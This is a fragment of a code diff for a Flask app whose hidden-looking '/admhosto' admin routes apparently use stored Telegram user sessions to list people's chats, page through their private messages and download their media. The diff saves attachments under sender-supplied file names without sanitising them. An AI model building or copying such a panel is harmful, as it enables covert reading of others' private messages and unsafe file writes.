+    return send_from_directory(DOWNLOAD_DIR, filename, as_attachment=True)
 
 @app.route('/admhosto')
 def admhosto_index():
@@ -1416,34 +1284,34 @@ def admhosto_manage_user_account(user_id):
 
     chats, error = asyncio.run(_get_chats_async())
     if error: return f"Failed to load chats: {error}", 500
-    return render_template_string(ADMHOSTO_MANAGE_TEMPLATE, user=user_dict, chats=sorted(chats, key=lambda x: x['title']))
+    return render_template_string(ADMHOSTO_MANAGE_TEMPLATE, user=user_dict, chats=sorted(chats, key=lambda x: x['title']), MESSAGES_PER_PAGE=MESSAGES_PER_PAGE)
 
 @app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages')
 def admhosto_get_chat_messages(user_id, peer_id):
-    limit = request.args.get('limit', 30, type=int)
-    offset_id = request.args.get('offset_id', None, type=int)
+    limit = int(request.args.get('limit', MESSAGES_PER_PAGE))
+    max_id = request.args.get('max_id')
+    if max_id:
+        max_id = int(max_id)
 
     async def _get_messages_async():
         client, error = await get_user_client(user_id)
         if error: return None, error, False
         messages = []
+        has_more = True
         try:
             entity = await client.get_entity(peer_id)
-            fetched_messages = await client.get_messages(entity, limit=limit + 1, offset_id=offset_id, reverse=True)
-            
-            has_more = len(fetched_messages) > limit
-            messages_to_process = fetched_messages[:-1] if has_more else fetched_messages
+            fetched_count = 0
+            async for message in client.iter_messages(entity, limit=limit + 1, max_id=max_id):
+                if fetched_count >= limit:
+                    has_more = True
+                    break
 
-            for message in messages_to_process:
                 msg_data = {
                     'id': message.id,
                     'text': message.text, 
                     'date': message.date.strftime("%b %d, %H:%M"), 
                     'is_sent': message.out, 
-                    'sender_name': 'Unknown',
-                    'file_name': None,
-                    'file_size': None,
-                    'file_type': None
+                    'sender_name': 'Unknown'
                 }
                 if message.sender:
                     if isinstance(message.sender, User):
@@ -1454,51 +1322,38 @@ def admhosto_get_chat_messages(user_id, peer_id):
                         msg_data['sender_name'] = str(message.sender.id)
 
                 if message.media:
-                    download_succeeded = False
-                    temp_file_name = None
-                    temp_file_size = None
-                    temp_file_type = None
                     try:
-                        file_ext = ''
-                        file_mime = ''
-                        if isinstance(message.media, MessageMediaPhoto):
-                            file_ext = '.jpg'
-                            file_mime = 'image/jpeg'
-                        elif isinstance(message.media, MessageMediaDocument) and hasattr(message.media.document, 'mime_type'):
-                            file_mime = message.media.document.mime_type
-                            if file_mime.startswith('image/'):
-                                file_ext = '.' + file_mime.split('/')[-1]
-                            elif file_mime.startswith('video/'):
-                                file_ext = '.' + file_mime.split('/')[-1]
-                            else:
-                                file_ext = '.file'
+                        file_name = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}_" + getattr(message.media, 'mime_type', 'file').replace('/', '_').replace('.', '')
+                        if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'):
+                            for attr in message.media.document.attributes:
+                                if hasattr(attr, 'file_name'):
+                                    file_name = attr.file_name
+                                    break
+                        elif hasattr(message.media, 'photo'):
+                             file_name = f"photo_{message.id}.jpg"
                         
-                        file_name_base = getattr(message.media, 'file_name', f"msg_{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}")
-                        if not file_ext and '.' in file_name_base:
-                            file_ext = '.' + file_name_base.split('.')[-1]
-                        if not file_ext:
-                            file_ext = '.bin' 
-
-                        unique_filename = f"{file_name_base.replace(' ', '_')}{file_ext}"
-
-                        download_path = Path(DOWNLOAD_DIR) / unique_filename
-                        file_info = await client.download_media(message, file=download_path)
-
-                        if file_info:
-                            file_path = Path(file_info)
-                            temp_file_name = file_path.name
-                            file_size_bytes = os.path.getsize(file_path)
-                            temp_file_size = f"{file_size_bytes / (1024*1024):.2f} MB" if file_size_bytes >= 1024*1024 else f"{file_size_bytes/1024:.1f} KB" if file_size_bytes >= 1024 else f"{file_size_bytes} Bytes"
-                            temp_file_type = file_mime
-                            download_succeeded = True
+                        full_download_path = Path(DOWNLOAD_DIR) / file_name
+                        if not full_download_path.exists():
+                            file_info = await client.download_media(message, file=full_download_path)
+                            if file_info:
+                                file_path = Path(file_info)
+                                msg_data['file_name'] = file_path.name
+                                file_size = os.path.getsize(file_path)
+                                msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
+                            else:
+                                msg_data['file_name'] = "File not available"
+                        else:
+                            msg_data['file_name'] = full_download_path.name
+                            file_size = os.path.getsize(full_download_path)
+                            msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
                     except Exception as media_e:
-                        print(f"Error downloading media for message {message.id}: {media_e}")
-                    
-                    if download_succeeded:
-                        msg_data['file_name'] = temp_file_name
-                        msg_data['file_size'] = temp_file_size
-                        msg_data['file_type'] = temp_file_type
+                        msg_data['file_name'] = f"Download failed: {media_e}"
                 messages.append(msg_data)
+                fetched_count += 1
+            
+            if fetched_count <= limit:
+                has_more = False
+
         except Exception as e:
             return None, str(e), False
         finally: